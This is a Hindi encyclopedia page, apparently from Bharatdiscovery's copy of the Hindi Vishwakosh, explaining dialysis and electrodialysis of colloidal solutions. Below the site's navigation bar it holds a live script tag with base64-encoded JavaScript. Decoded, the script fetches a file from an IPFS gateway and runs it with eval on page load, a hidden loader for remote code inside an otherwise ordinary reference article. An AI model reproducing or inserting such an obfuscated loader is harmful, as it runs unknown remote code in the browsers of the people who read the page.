अपोहन
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
अपोहन
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 1 |
पृष्ठ संख्या | 148 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1973 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | निरंकार सिंह । |
अपोहन (डायलिसिस) वह प्रक्रम है जिसमें कोलाइडी विलयन को चर्मपत्र (पार्चमेंट) के थैले में रखकर बहते हुए पानी में रख देते हैं जिससे क्रिस्टलाभ (क्रिस्टलॉएड्स) अपद्रव्य चर्मपत्र को पार करके बह जाते हैं और शुद्ध कोलाइडी विलयन चर्मपत्र में रहजाता है। जिस उपकरण में अपोहन किया जाता है उसे अपोहक (डायलाइजर) कहते हैं। ठंडे जल के स्थान पर गरम जल प्रयुक्त करने से अपोहन की क्रिया तेज हो जाती है। अपोहन के लिए प्रयुक्त किए जानेवाले चर्मपत्र के थैले के बाहर जल में धन विद्युती तथा ऋण विद्युती दो इलेक्ट्रोड रखने पर अपोहन की क्रिया विद्युत् (इलेक्ट्रो डायलिसस) कहलाती है और बहुत तीव्र होती है।
चित्र:369-1.jpg अपोहन विद्युत
|
|
|
|
|
टीका टिप्पणी और संदर्भ